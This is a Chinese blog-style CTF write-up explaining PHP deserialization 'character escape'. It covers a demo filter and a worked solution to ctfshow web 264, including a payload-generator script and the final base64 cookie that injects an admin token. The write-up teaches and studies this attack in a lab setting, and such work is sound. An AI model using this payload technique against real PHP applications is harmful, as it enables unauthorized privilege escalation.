ctf 反序列化字符逃逸

第一种,关键词过滤,变多的
比如0ctf :piapiapia
我先说一次什么是反序列化字符逃逸。

    <?php
     
    class user{
        public $user = 'admin';
        public $pass = 'passwd';
    }
     
     
    $a = new user();
    $b = serialize($a);
     
    echo $b."<br>";
     
     
    $c = unserialize($b);
     
    echo $c->pass;
     
     ?>

在这里插入图片描述

序列化后的字符串应该能看出来,大括号外面有类名及长度,括号里面以分号划分多个变量,包含其变量名及长度,变量值及长度。

这些都是对应好的,而如果我们对比如user的值进行修改,改为admin1,而长度不变,当反序列化时就会报错。

    <?php
     
        $a = 'O:4:"user":2:{s:4:"user";s:5:"admin1";s:4:"pass";s:6:"passwd";}';
        $b = unserialize($a);
        echo $b->pass;
     ?>

在这里插入图片描述
说明函数长度不等会报错,很重要,当读入s:5:时,系统就知道后面引号内是字符串且长度为5,于是从双引号开始读入长度为5的字符,但由于admin1是6个字符,导致后面第6个字符该是双引号来结束,却没有,由此产生异常。而如果我们设置的payload则可以越过这个异常。

···

<?php
 
function filter($str){
    $str = str_replace("ab","ccc",$str);
    return $str;
}
class user{
    public $user = 'ababababababababababababababababababababababababab";s:4:"pass";s:4:"hack";}';
    public $pass = 'passwd';
}
 
 
$a = new user();
echo serialize($a)."<br>";
 
$b = filter(serialize($a));
 
echo $b."<br>";
 
$c = unserialize($b);
 
echo $c->pass;
 
 
 
?>

其中,user的值有25个ab,经序列化后又对其进行替换,每替换一个ab,就多一个字符,这样就可能会导致前面所说的系统知道的长度和实际长度不对应,就会报错,但后面的payload=";s:4:“pass”;s:4:“hack”;},这样就拼接起来,具体来说

初始序列化后为

在这里插入图片描述
可见长度为75,payload长度是为25,所以这里使用了25个ab,当替换后就多出25个字符。待替换后就为:

O:4:"user":2:{s:4:"user";s:75:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:4:"hack";}";s:4:"pass";s:6:"passwd";}

你可以知道,c的个数刚好为75个,而系统读入了75个字符想碰到双引号也成功,之后就会继续反序列化我们的payload,而在大括号之后的字符都会被挤进下一个参数中。

现在我们来写一下ctfshow web 264

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);


hint :message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

分析源代码:
在这里插入图片描述
在这里插入图片描述
目的很清楚,就是要把user换成admin,那怎么样去实现的?
关键代码

$umsg = str_replace('fuck', 'loveU', serialize($msg));

他可以把fuck换为loveu,那我们这样想,按照之前的想法,每替换一个,就会多出来一个字母,逃逸出去,如果我们可以构造出来多余的部分
也就是说我们变量t后面就是要替换的,那我们先构造payload:

$t= ?+";s:5:"token";s:5:"admin";}';

然后我们知道";之后开始算数后面为

";s:5:"token";s:5:"admin";

不算’和;
在这里插入图片描述

计算出来要27个字符,也就是说我们要构造27个fuck不停的替换,最后把user替换成admin
那好,我们现在来接着构造
?=fuck*27+";s:5:“token”;s:5:“admin”;
完整的payload

<?php
class message{
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f=0;
$m=0;
$t='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
//计算公式=2+你序列化之后的数字    2代表";,最后';是不算的
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);
?>

把base64编码后的结果放到cookie里面访问message.php就能拿到flag

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO2k6MDtzOjM6Im1zZyI7aTowO3M6MjoidG8iO3M6MTM1OiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVUiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6NToidG9rZW4iO3M6NDoidXNlciI7fQ
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值